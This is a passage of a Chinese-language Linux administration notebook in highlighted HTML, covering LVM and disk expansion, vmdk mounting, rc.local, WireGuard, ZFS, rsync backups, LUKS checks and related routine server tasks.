class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">lv</span>\n<span class=\"n\">resize2fs</span><span class=\"w\"> </span><span class=\"mf\">1.44.1</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">24</span><span class=\"o\">-</span><span class=\"n\">Mar</span><span class=\"o\">-</span><span class=\"mi\">2018</span><span class=\"p\">)</span>\n<span class=\"n\">Filesystem</span><span class=\"w\"> </span><span class=\"k\">at</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">lv</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"n\">mounted</span><span class=\"w\"> </span><span class=\"k\">on</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">on</span><span class=\"o\">-</span><span class=\"n\">line</span><span class=\"w\"> </span><span class=\"n\">resizing</span><span class=\"w\"> </span><span class=\"n\">required</span>\n<span class=\"n\">old_desc_blocks</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">7</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">new_desc_blocks</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">25</span>\n<span class=\"n\">The</span><span class=\"w\"> </span><span class=\"n\">filesystem</span><span class=\"w\"> </span><span class=\"k\">on</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">vg</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">lv</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"n\">now</span><span class=\"w\"> </span><span class=\"mi\">52164608</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">4</span><span class=\"n\">k</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">blocks</span><span class=\"w\"> </span><span class=\"n\">long</span><span class=\"p\">.</span>\n</code></pre></div>\n\n<p>resize2fs可以加上<code>-p</code>选项显示进度</p>\n<h3 id=\"vmware\">VMWare新添加一块硬盘扩容根目录<a class=\"headerlink\" href=\"#vmware\" title=\"Permanent link\">&para;</a></h3>\n<p>@TAG 虚拟机</p>\n<p>参考这两篇：</p>\n<p>https://www.cyberciti.biz/tips/vmware-add-a-new-hard-disk-without-rebooting-guest.html</p>\n<p>https://www.unixmen.com/add-a-new-disk-to-lvm/</p>\n<div class=\"codehilite\"><pre><span></span><code>root@docker3:/d#<span class=\"w\"> </span>for<span class=\"w\"> </span>i<span class=\"w\"> </span>in<span class=\"w\"> </span>/sys/class/scsi_host/*;<span class=\"w\"> </span>do<span class=\"w\"> </span>echo<span class=\"w\"> </span>&quot;-<span class=\"w\"> </span>-<span class=\"w\"> </span>-&quot;<span class=\"w\"> </span>&gt;<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">i</span><span class=\"cp\">}</span>/scan;<span class=\"w\"> </span>done\nroot@docker3:/d#<span class=\"w\"> </span>fdisk<span class=\"w\"> </span>-l\nDisk<span class=\"w\"> </span>/dev/sdb:<span class=\"w\"> </span>1<span class=\"w\"> </span>TiB,<span class=\"w\"> </span>1099511627776<span class=\"w\"> </span>bytes,<span class=\"w\"> </span>2147483648<span class=\"w\"> </span>sectors\nUnits:<span class=\"w\"> </span>sectors<span class=\"w\"> </span>of<span class=\"w\"> </span>1<span class=\"w\"> </span>*<span class=\"w\"> </span>512<span class=\"w\"> </span>=<span class=\"w\"> </span>512<span class=\"w\"> </span>bytes\nSector<span class=\"w\"> </span>size<span class=\"w\"> </span>(logical/physical):<span class=\"w\"> </span>512<span class=\"w\"> </span>bytes<span class=\"w\"> </span>/<span class=\"w\"> </span>512<span class=\"w\"> </span>bytes\nI/O<span class=\"w\"> </span>size<span class=\"w\"> </span>(minimum/optimal):<span class=\"w\"> </span>512<span class=\"w\"> </span>bytes<span class=\"w\"> </span>/<span class=\"w\"> </span>512<span class=\"w\"> </span>bytes\n\nroot@docker3:/d#<span class=\"w\"> </span>fdisk<span class=\"w\"> </span>/dev/sdb\n\nWelcome<span class=\"w\"> </span>to<span class=\"w\"> </span>fdisk<span class=\"w\"> </span>(util-linux<span class=\"w\"> </span>2.31.1).\nChanges<span class=\"w\"> </span>will<span class=\"w\"> </span>remain<span class=\"w\"> </span>in<span class=\"w\"> </span>memory<span class=\"w\"> </span>only,<span class=\"w\"> </span>until<span class=\"w\"> </span>you<span class=\"w\"> </span>decide<span class=\"w\"> </span>to<span class=\"w\"> </span>write<span class=\"w\"> </span>them.\nBe<span class=\"w\"> </span>careful<span class=\"w\"> </span>before<span class=\"w\"> </span>using<span class=\"w\"> </span>the<span class=\"w\"> </span>write<span class=\"w\"> </span>command.\n\nDevice<span class=\"w\"> </span>does<span class=\"w\"> </span>not<span class=\"w\"> </span>contain<span class=\"w\"> </span>a<span class=\"w\"> </span>recognized<span class=\"w\"> </span>partition<span class=\"w\"> </span>table.\nCreated<span class=\"w\"> </span>a<span class=\"w\"> </span>new<span class=\"w\"> </span>DOS<span class=\"w\"> </span>disklabel<span class=\"w\"> </span>with<span class=\"w\"> </span>disk<span class=\"w\"> </span>identifier<span class=\"w\"> </span>0x3289a390.\n\nCommand<span class=\"w\"> </span>(m<span class=\"w\"> </span>for<span class=\"w\"> </span>help):<span class=\"w\"> </span>n\nPartition<span class=\"w\"> </span>type\n<span class=\"w\">   </span>p<span class=\"w\">   </span>primary<span class=\"w\"> </span>(0<span class=\"w\"> </span>primary,<span class=\"w\"> </span>0<span class=\"w\"> </span>extended,<span class=\"w\"> </span>4<span class=\"w\"> </span>free)\n<span class=\"w\">   </span>e<span class=\"w\">   </span>extended<span class=\"w\"> </span>(container<span class=\"w\"> </span>for<span class=\"w\"> </span>logical<span class=\"w\"> </span>partitions)\nSelect<span class=\"w\"> </span>(default<span class=\"w\"> </span>p):\n\nUsing<span class=\"w\"> </span>default<span class=\"w\"> </span>response<span class=\"w\"> </span>p.\nPartition<span class=\"w\"> </span>number<span class=\"w\"> </span>(1-4,<span class=\"w\"> </span>default<span class=\"w\"> </span>1):\nFirst<span class=\"w\"> </span>sector<span class=\"w\"> </span>(2048-2147483647,<span class=\"w\"> </span>default<span class=\"w\"> </span>2048):\nLast<span class=\"w\"> </span>sector,<span class=\"w\"> </span>+sectors<span class=\"w\"> </span>or<span class=\"w\"> </span>+size{K,M,G,T,P}<span class=\"w\"> </span>(2048-2147483647,<span class=\"w\"> </span>default<span class=\"w\"> </span>2147483647):\n\nCreated<span class=\"w\"> </span>a<span class=\"w\"> </span>new<span class=\"w\"> </span>partition<span class=\"w\"> </span>1<span class=\"w\"> </span>of<span class=\"w\"> </span>type<span class=\"w\"> </span>&#39;Linux&#39;<span class=\"w\"> </span>and<span class=\"w\"> </span>of<span class=\"w\"> </span>size<span class=\"w\"> </span>1024<span class=\"w\"> </span>GiB.\n\nCommand<span class=\"w\"> </span>(m<span class=\"w\"> </span>for<span class=\"w\"> </span>help):<span class=\"w\"> </span>t\nSelected<span class=\"w\"> </span>partition<span class=\"w\"> </span>1\nHex<span class=\"w\"> </span>code<span class=\"w\"> </span>(type<span class=\"w\"> </span>L<span class=\"w\"> </span>to<span class=\"w\"> </span>list<span class=\"w\"> </span>all<span class=\"w\"> </span>codes):<span class=\"w\"> </span>8e\nChanged<span class=\"w\"> </span>type<span class=\"w\"> </span>of<span class=\"w\"> </span>partition<span class=\"w\"> </span>&#39;Linux&#39;<span class=\"w\"> </span>to<span class=\"w\"> </span>&#39;Linux<span class=\"w\"> </span>LVM&#39;.\n\nCommand<span class=\"w\"> </span>(m<span class=\"w\"> </span>for<span class=\"w\"> </span>help):<span class=\"w\"> </span>w\nThe<span class=\"w\"> </span>partition<span class=\"w\"> </span>table<span class=\"w\"> </span>has<span class=\"w\"> </span>been<span class=\"w\"> </span>altered.\nCalling<span class=\"w\"> </span>ioctl()<span class=\"w\"> </span>to<span class=\"w\"> </span>re-read<span class=\"w\"> </span>partition<span class=\"w\"> </span>table.\nSyncing<span class=\"w\"> </span>disks.\n\nroot@docker3:/d#<span class=\"w\"> </span>pvcreate<span class=\"w\"> </span>/dev/sdb1\n<span class=\"w\">  </span>Physical<span class=\"w\"> </span>volume<span class=\"w\"> </span>&quot;/dev/sdb1&quot;<span class=\"w\"> </span>successfully<span class=\"w\"> </span>created.\nroot@docker3:/d#<span class=\"w\"> </span>vgextend<span class=\"w\"> </span>ubuntu-vg<span class=\"w\"> </span>/dev/sdb1\n<span class=\"w\">  </span>Volume<span class=\"w\"> </span>group<span class=\"w\"> </span>&quot;ubuntu-vg&quot;<span class=\"w\"> </span>successfully<span class=\"w\"> </span>extended\nroot@docker3:/d#<span class=\"w\"> </span>pvscan\n<span class=\"w\">  </span>PV<span class=\"w\"> </span>/dev/sda3<span class=\"w\">   </span>VG<span class=\"w\"> </span>ubuntu-vg<span class=\"w\">       </span>lvm2<span class=\"w\"> </span>[<span class=\"nt\">&lt;199.00</span> <span class=\"err\">GiB</span> <span class=\"err\">/</span> <span class=\"err\">0</span>    <span class=\"err\">free]</span>\n  <span class=\"err\">PV</span> <span class=\"err\">/dev/sdb1</span>   <span class=\"err\">VG</span> <span class=\"err\">ubuntu-vg</span>       <span class=\"err\">lvm2</span> <span class=\"err\">[&lt;1024.00</span> <span class=\"err\">GiB</span> <span class=\"err\">/</span> <span class=\"err\">&lt;1024.00</span> <span class=\"err\">GiB</span> <span class=\"err\">free]</span>\n  <span class=\"err\">Total:</span> <span class=\"err\">2</span> <span class=\"err\">[1.19</span> <span class=\"err\">TiB]</span> <span class=\"err\">/</span> <span class=\"err\">in</span> <span class=\"err\">use:</span> <span class=\"err\">2</span> <span class=\"err\">[1.19</span> <span class=\"err\">TiB]</span> <span class=\"err\">/</span> <span class=\"err\">in</span> <span class=\"err\">no</span> <span class=\"err\">VG:</span> <span class=\"err\">0</span> <span class=\"err\">[0</span>   <span class=\"err\">]</span>\n<span class=\"err\">root@docker3:/d#</span> <span class=\"err\">lvextend</span> <span class=\"err\">-l</span> <span class=\"err\">+100%FREE</span> <span class=\"err\">/dev/ubuntu-vg/ubuntu-lv</span>\n  <span class=\"err\">Size</span> <span class=\"err\">of</span> <span class=\"err\">logical</span> <span class=\"err\">volume</span> <span class=\"err\">ubuntu-vg/ubuntu-lv</span> <span class=\"err\">changed</span> <span class=\"err\">from</span> <span class=\"err\">&lt;199.00</span> <span class=\"err\">GiB</span> <span class=\"err\">(50943</span> <span class=\"err\">extents)</span> <span class=\"err\">to</span> <span class=\"err\">1.19</span> <span class=\"err\">TiB</span> <span class=\"err\">(313086</span> <span class=\"err\">extents).</span>\n  <span class=\"err\">Logical</span> <span class=\"err\">volume</span> <span class=\"err\">ubuntu-vg/ubuntu-lv</span> <span class=\"err\">successfully</span> <span class=\"err\">resized.</span>\n<span class=\"err\">root@docker3:/d#</span> <span class=\"err\">resize2fs</span> <span class=\"err\">/dev/ubuntu-vg/ubuntu-lv</span>\n<span class=\"err\">resize2fs</span> <span class=\"err\">1.44.1</span> <span class=\"err\">(24-Mar-2018)</span>\n<span class=\"err\">Filesystem</span> <span class=\"err\">at</span> <span class=\"err\">/dev/ubuntu-vg/ubuntu-lv</span> <span class=\"err\">is</span> <span class=\"err\">mounted</span> <span class=\"err\">on</span> <span class=\"err\">/;</span> <span class=\"err\">on-line</span> <span class=\"err\">resizing</span> <span class=\"err\">required</span>\n<span class=\"na\">old_desc_blocks =</span> <span class=\"err\">25,</span> <span class=\"na\">new_desc_blocks =</span> <span class=\"err\">153</span>\n<span class=\"err\">The</span> <span class=\"err\">filesystem</span> <span class=\"err\">on</span> <span class=\"err\">/dev/ubuntu-vg/ubuntu-lv</span> <span class=\"err\">is</span> <span class=\"err\">now</span> <span class=\"err\">320600064</span> <span class=\"err\">(4k)</span> <span class=\"err\">blocks</span> <span class=\"err\">long.</span>\n\n<span class=\"err\">root@docker3:/d#</span> <span class=\"err\">df</span> <span class=\"err\">-h</span>\n<span class=\"err\">/dev/mapper/ubuntu--vg-ubuntu--lv</span>  <span class=\"err\">1.2T</span>  <span class=\"err\">170G</span>  <span class=\"err\">986G</span>  <span class=\"err\">15%</span> <span class=\"err\">/</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"vmdklvm\">挂载多个vmdk中的LVM分区<a class=\"headerlink\" href=\"#vmdklvm\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 虚拟机 离线操作</p>\n<p>参考： https://superuser.com/questions/1376690/how-to-mount-an-lvm-volume-from-a-dd-raw-vmdk-image</p>\n<p>试过用windows的7z直接打开压缩包，只能看到LVM或者多个img文件，不能跳过解压步骤，所以还是在linux上挂载吧</p>\n<p>假设有三个vmdk文件需要挂载，得到的lvm是<code>/dev/ubuntu-vg/ubuntu-lv</code>，只读挂载到<code>/mnt</code></p>\n<p>需要<code>apt install -y kpartx</code></p>\n<p>挂载 mount.sh:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\nkpartx<span class=\"w\"> </span>-a<span class=\"w\"> </span>-v<span class=\"w\"> </span>disk1.vmdk\nkpartx<span class=\"w\"> </span>-a<span class=\"w\"> </span>-v<span class=\"w\"> </span>disk2.vmdk\nkpartx<span class=\"w\"> </span>-a<span class=\"w\"> </span>-v<span class=\"w\"> </span>disk3.vmdk\nsleep<span class=\"w\"> </span><span class=\"m\">2</span>\npvscan\nmount<span class=\"w\">  </span>-o<span class=\"w\"> </span>ro<span class=\"w\"> </span>/dev/ubuntu-vg/ubuntu-lv<span class=\"w\"> </span>/mnt\n</code></pre></div>\n\n<p>取消挂载 umount.sh:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\numount<span class=\"w\"> </span>/mnt\nlvchange<span class=\"w\"> </span>-an<span class=\"w\"> </span>/dev/ubuntu-vg/ubuntu-lv\nvgchange<span class=\"w\"> </span>-an<span class=\"w\"> </span>/dev/ubuntu-vg\nkpartx<span class=\"w\"> </span>-d<span class=\"w\"> </span>disk1.vmdk\nkpartx<span class=\"w\"> </span>-d<span class=\"w\"> </span>disk2.vmdk\nkpartx<span class=\"w\"> </span>-d<span class=\"w\"> </span>disk3.vmdk\n</code></pre></div>\n\n<hr />\n<h2 id=\"rclocal\">启用rc.local<a class=\"headerlink\" href=\"#rclocal\" title=\"Permanent link\">&para;</a></h2>\n<p>参考 https://www.linuxbabe.com/linux-server/how-to-enable-etcrc-local-with-systemd</p>\n<p>确认有没有启用rc.local: <code>systemctl status rc-local.service</code>如果有绿色的<code>Active: active (exited)</code>出现就是已经启用</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">nano</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">etc</span><span class=\"o\">/</span><span class=\"nv\">systemd</span><span class=\"o\">/</span><span class=\"nv\">system</span><span class=\"o\">/</span><span class=\"nv\">rc</span><span class=\"o\">-</span><span class=\"nv\">local</span>.<span class=\"nv\">service</span>\n<span class=\"nv\">printf</span><span class=\"w\"> </span><span class=\"s1\">&#39;%s\\n&#39;</span><span class=\"w\"> </span><span class=\"s1\">&#39;#!/bin/bash&#39;</span><span class=\"w\"> </span><span class=\"s1\">&#39;exit 0&#39;</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"nv\">sudo</span><span class=\"w\"> </span><span class=\"nv\">tee</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">etc</span><span class=\"o\">/</span><span class=\"nv\">rc</span>.<span class=\"nv\">local</span>\n<span class=\"nv\">chmod</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">etc</span><span class=\"o\">/</span><span class=\"nv\">rc</span>.<span class=\"nv\">local</span>\n<span class=\"nv\">systemctl</span><span class=\"w\"> </span><span class=\"nv\">enable</span><span class=\"w\"> </span><span class=\"nv\">rc</span><span class=\"o\">-</span><span class=\"nv\">local</span>\n</code></pre></div>\n\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">[Unit]</span>\n<span class=\"w\"> </span><span class=\"na\">Description</span><span class=\"o\">=</span><span class=\"s\">/etc/rc.local Compatibility</span>\n<span class=\"w\"> </span><span class=\"na\">ConditionPathExists</span><span class=\"o\">=</span><span class=\"s\">/etc/rc.local</span>\n\n<span class=\"k\">[Service]</span>\n<span class=\"w\"> </span><span class=\"na\">Type</span><span class=\"o\">=</span><span class=\"s\">forking</span>\n<span class=\"w\"> </span><span class=\"na\">ExecStart</span><span class=\"o\">=</span><span class=\"s\">/etc/rc.local start</span>\n<span class=\"w\"> </span><span class=\"na\">TimeoutSec</span><span class=\"o\">=</span><span class=\"s\">0</span>\n<span class=\"w\"> </span><span class=\"na\">StandardOutput</span><span class=\"o\">=</span><span class=\"s\">tty</span>\n<span class=\"w\"> </span><span class=\"na\">RemainAfterExit</span><span class=\"o\">=</span><span class=\"s\">yes</span>\n<span class=\"w\"> </span><span class=\"na\">SysVStartPriority</span><span class=\"o\">=</span><span class=\"s\">99</span>\n\n<span class=\"k\">[Install]</span>\n<span class=\"w\"> </span><span class=\"na\">WantedBy</span><span class=\"o\">=</span><span class=\"s\">multi-user.target</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"apttranslation\">apt禁用Translation<a class=\"headerlink\" href=\"#apttranslation\" title=\"Permanent link\">&para;</a></h2>\n<p>apt update的时候发现一堆翻译的条目，不想看到这些</p>\n<p>创建/etc/apt/apt.conf.d/99translations</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">Acquire</span><span class=\"p\">::</span><span class=\"nd\">Languages</span><span class=\"w\"> </span><span class=\"s2\">&quot;none&quot;</span><span class=\"o\">;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"wireguard\">开机自启动wireguard<a class=\"headerlink\" href=\"#wireguard\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">enable</span><span class=\"w\"> </span><span class=\"n\">wg</span><span class=\"o\">-</span><span class=\"n\">quick</span><span class=\"err\">@</span><span class=\"n\">wg0</span><span class=\"o\">.</span><span class=\"n\">service</span>\n<span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">daemon</span><span class=\"o\">-</span><span class=\"n\">reload</span>\n<span class=\"n\">service</span><span class=\"w\"> </span><span class=\"n\">wg</span><span class=\"o\">-</span><span class=\"n\">quick</span><span class=\"err\">@</span><span class=\"n\">wg0</span><span class=\"w\"> </span><span class=\"n\">start</span>\n<span class=\"n\">service</span><span class=\"w\"> </span><span class=\"n\">wg</span><span class=\"o\">-</span><span class=\"n\">quick</span><span class=\"err\">@</span><span class=\"n\">wg0</span><span class=\"w\"> </span><span class=\"n\">status</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"do-release-upgrade\">修复失败的do-release-upgrade<a class=\"headerlink\" href=\"#do-release-upgrade\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://www.kingsware.de/2019/01/05/repair-a-damaged-package-system-after-ubuntu-dist-upgrade/</p>\n<p>可能的原因是使用了ppa源，而新的发行版里这些软件包已经进入官方源造成冲突</p>\n<div class=\"codehilite\"><pre><span></span><code>apt update\napt upgrade\napt dist-upgrade\napt install -f\ndpkg --configure -a\napt autoremove\n</code></pre></div>\n\n<p>如果你需要禁用ppa源，你可以直接去删除<code>/etc/apt/sources.list.d</code>的文件，或者：</p>\n<div class=\"codehilite\"><pre><span></span><code>add-apt-repository --remove ppa:PPA_REPOSITORY_NAME/PPA-NAME\n</code></pre></div>\n\n<hr />\n<h2 id=\"wireguard_1\">解决wireguard 内核模块编译失败<a class=\"headerlink\" href=\"#wireguard_1\" title=\"Permanent link\">&para;</a></h2>\n<p>报错信息 <code>error: ‘const struct ipv6_stub’ has no member named ‘ipv6_dst_lookup_flow’</code></p>\n<p>查到这些链接： https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=959157</p>\n<p>官方已经给出了patch： https://git.zx2c4.com/wireguard-linux-compat/commit/?id=4602590adee92557847e61c8cd14445d35fbfa2e</p>\n<p>但是我已经从最新git下载，这个patch是已经打了的，还是同样的报错</p>\n<p>看patch发现这个改动就是在判断内核版本，如果符合特定版本就引入<code>ipv6_dst_lookup_flow</code>的#define语句</p>\n<p>但估计这个版本判断是不完备的，正好漏掉了当前的内核版本，所以解决方案很简单：强行把这个define加入即可</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">clone</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//git.zx2c4.com/wireguard-linux-compat</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"n\">wireguard</span><span class=\"o\">-</span><span class=\"n\">linux</span><span class=\"o\">-</span><span class=\"n\">compat</span><span class=\"o\">/</span><span class=\"n\">src</span>\n<span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"s\">&quot;#define ipv6_dst_lookup_flow(a, b, c, d) ipv6_dst_lookup(a, b, &amp;dst, c) + (void *)0 ?: dst&quot;</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;</span><span class=\"w\"> </span><span class=\"n\">compat</span><span class=\"o\">/</span><span class=\"n\">compat</span><span class=\"p\">.</span><span class=\"n\">h</span>\n<span class=\"n\">make</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"n\">install</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"luks\">LUKS<a class=\"headerlink\" href=\"#luks\" title=\"Permanent link\">&para;</a></h2>\n<p>教程： https://www.cyberciti.biz/security/howto-linux-hard-disk-encryption-with-luks-cryptsetup-command/</p>\n<h3 id=\"_18\">验证密钥是否正确<a class=\"headerlink\" href=\"#_18\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>cryptsetup luksDump 设备\ncryptsetup luksOpen --test-passphrase --key-slot 0 设备 &amp;&amp; echo ok\ncryptsetup luksOpen --test-passphrase --key-file 密钥文件 --key-slot 1 设备 &amp;&amp; echo ok\n</code></pre></div>\n\n<hr />\n<h2 id=\"ntp-http\">ntp的替代 使用http更新时间<a class=\"headerlink\" href=\"#ntp-http\" title=\"Permanent link\">&para;</a></h2>\n<p>在ntp服务器访问不了的时候，我们也可以使用http协议的Date字段来获取时间</p>\n<p>参考： https://superuser.com/questions/307158/how-to-use-ntpdate-behind-a-proxy</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\ndate<span class=\"w\"> </span>-s<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"k\">$(</span>curl<span class=\"w\"> </span>-i<span class=\"w\">  </span><span class=\"s2\">&quot;http://www.google.com/&quot;</span><span class=\"w\"> </span><span class=\"m\">2</span>&gt;/dev/null<span class=\"w\"> </span><span class=\"p\">|</span><span class=\"w\"> </span>grep<span class=\"w\"> </span>-E<span class=\"w\"> </span><span class=\"s1\">&#39;^[[:space:]]*[dD]ate:&#39;</span><span class=\"w\"> </span><span class=\"p\">|</span><span class=\"w\"> </span>sed<span class=\"w\"> </span><span class=\"s1\">&#39;s/^[[:space:]]*[dD]ate:[[:space:]]*//&#39;</span><span class=\"w\"> </span><span class=\"p\">|</span><span class=\"w\"> </span>head<span class=\"w\"> </span>-1l<span class=\"w\"> </span><span class=\"p\">|</span><span class=\"w\"> </span>awk<span class=\"w\"> </span><span class=\"s1\">&#39;{print $1, $3, $2,  $5 ,&quot;GMT&quot;, $4 }&#39;</span><span class=\"w\"> </span><span class=\"p\">|</span><span class=\"w\"> </span>sed<span class=\"w\"> </span><span class=\"s1\">&#39;s/,//&#39;</span><span class=\"k\">)</span><span class=\"s2\">&quot;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"rsync\">使用rsync备份全盘<a class=\"headerlink\" href=\"#rsync\" title=\"Permanent link\">&para;</a></h2>\n<p>参考：</p>\n<ul>\n<li>主要参数来自 https://github.com/laurent22/rsync-time-backup</li>\n<li>https://ostechnix.com/backup-entire-linux-system-using-rsync/</li>\n<li>不要跨过mount边界用<code>-xx</code> https://superuser.com/questions/626141/rsync-recursive-on-same-mount-only</li>\n<li>显示进度用<code>--info=progress2</code> https://www.cyberciti.biz/faq/show-progress-during-file-transfer/</li>\n</ul>\n<div class=\"codehilite\"><pre><span></span><code>rsync --info=progress2 -D --numeric-ids --links --hard-links --itemize-changes --times --recursive --perms --owner --group --stats --human-readable -xx / /target/\n</code></pre></div>\n\n<p>小文件太多不建议使用rsync-time-backup，会产生大量的硬链接，占据大量btrfs metadata空间</p>\n<p>备份过程中显示的理解： https://unix.stackexchange.com/questions/215271/understanding-the-output-of-info-progress2-from-rsync</p>\n<ul>\n<li><code>xfr#495</code> 表示当前正在传输第495个文件</li>\n<li><code>ir-chk=1020/3825</code> 已经知道有3825个文件，其中1020个需要检查目标位置的文件是否一致</li>\n</ul>\n<h2 id=\"_19\">让特定进程走指定网卡<a class=\"headerlink\" href=\"#_19\" title=\"Permanent link\">&para;</a></h2>\n<p>想做到类似curl ip.sb &ndash;interface tun1的效果</p>\n<p>如果是有动态链接libc可以用proxychains（golang就不能用）</p>\n<p>简单程序也许能用基于ptrace的<a href=\"https://github.com/hmgle/graftcp\">graftcp</a>（wsl不能用，复杂程序也不能用）</p>\n<p>找到了cgroup的方案，确实有效但仍然wsl不能用：</p>\n<p>参考 https://serverfault.com/questions/669430/how-to-bypass-openvpn-per-application</p>\n<p>底层用的cgroup创建个独立的网络命名空间，修改route默认路由，让进程去这个空间里面执行</p>\n<p>需要修改里面的<code>real_interface</code> 和 <code>real_interface_gateway</code></p>\n<p>函数test_routing也可以直接return，不需要检查</p>\n<div class=\"codehilite\"><pre><span></span><code>wget https://gist.githubusercontent.com/kriswebdev/a8d291936fe4299fb17d3744497b1170/raw/novpn.sh\nchmod +x novpn.sh\n#记得修改代码\n./novpn.sh curl ip.sb\n</code></pre></div>\n\n<hr />\n<h2 id=\"zfs\">配置高性能zfs<a class=\"headerlink\" href=\"#zfs\" title=\"Permanent link\">&para;</a></h2>\n<p>参考：\n- https://wiki.lustre.org/Optimizing_Performance_of_SSDs_and_Advanced_Format_Drives\n- https://github.com/allada/bsc-archive-snapshot\n- https://itnext.io/how-i-replaced-lvm-with-zfs-filesystem-for-my-home-nas-server-7165f620e07f\n- https://wiki.ubuntu.com/Kernel/Reference/ZFS</p>\n<div class=\"codehilite\"><pre><span></span><code>add-apt-repository ppa:jonathonf/zfs\napt install -y zfsutils-linux zfs-dkms\nzpool create -o ashift=12 tank /dev/sda\nzfs set recordsize=32K tank\nzfs set sync=disabled tank\nzfs set redundant_metadata=most tank\nzfs set atime=off tank\nzfs set logbias=throughput tank\nzfs set compression=on tank\n\nzfs create tank/project1\n</code></pre></div>\n\n<h2 id=\"zfs_1\">zfs快照与恢复<a class=\"headerlink\" href=\"#zfs_1\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">zfs</span><span class=\"w\"> </span><span class=\"n\">snapshot</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">r</span><span class=\"w\"> </span><span class=\"n\">tank</span><span class=\"o\">/</span><span class=\"n\">projects</span><span class=\"nv\">@snap1</span>\n<span class=\"n\">zfs</span><span class=\"w\"> </span><span class=\"n\">list</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">t</span><span class=\"w\"> </span><span class=\"n\">snapshot</span>\n<span class=\"n\">zfs</span><span class=\"w\"> </span><span class=\"k\">rollback</span><span class=\"w\"> </span><span class=\"n\">mypool</span><span class=\"o\">/</span><span class=\"n\">projects</span><span class=\"nv\">@snap1</span>\n</code></pre></div>\n\n<p>clone可以实现直接复制CoW, 需要先快照:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">zfs</span><span class=\"w\"> </span><span class=\"n\">snapshot</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">r</span><span class=\"w\"> </span><span class=\"n\">tank</span><span class=\"o\">/</span><span class=\"n\">projects</span><span class=\"nv\">@snap1</span>\n<span class=\"n\">zfs</span><span class=\"w\"> </span><span class=\"n\">clone</span><span class=\"w\"> </span><span class=\"n\">tank</span><span class=\"o\">/</span><span class=\"n\">projects</span><span class=\"nv\">@snap1</span><span class=\"w\"> </span><span class=\"n\">tank</span><span class=\"o\">/</span><span class=\"n\">projects</span><span class=\"o\">-</span><span class=\"n\">clone</span>\n</code></pre></div>\n\n<p>如果硬盘挂了用<code>zpool scrub tank</code></p>\n<h2 id=\"_20\">硬盘测试<a class=\"headerlink\" href=\"#_20\" title=\"Permanent link\">&para;</a></h2>\n<p>smart自检：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">smartctl</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">t</span><span class=\"w\"> </span><span class=\"nv\">short</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">sda</span>\n#<span class=\"k\">wait</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"w\"> </span><span class=\"nv\">minutes</span>\n<span class=\"nv\">smartctl</span><span class=\"w\"> </span><span 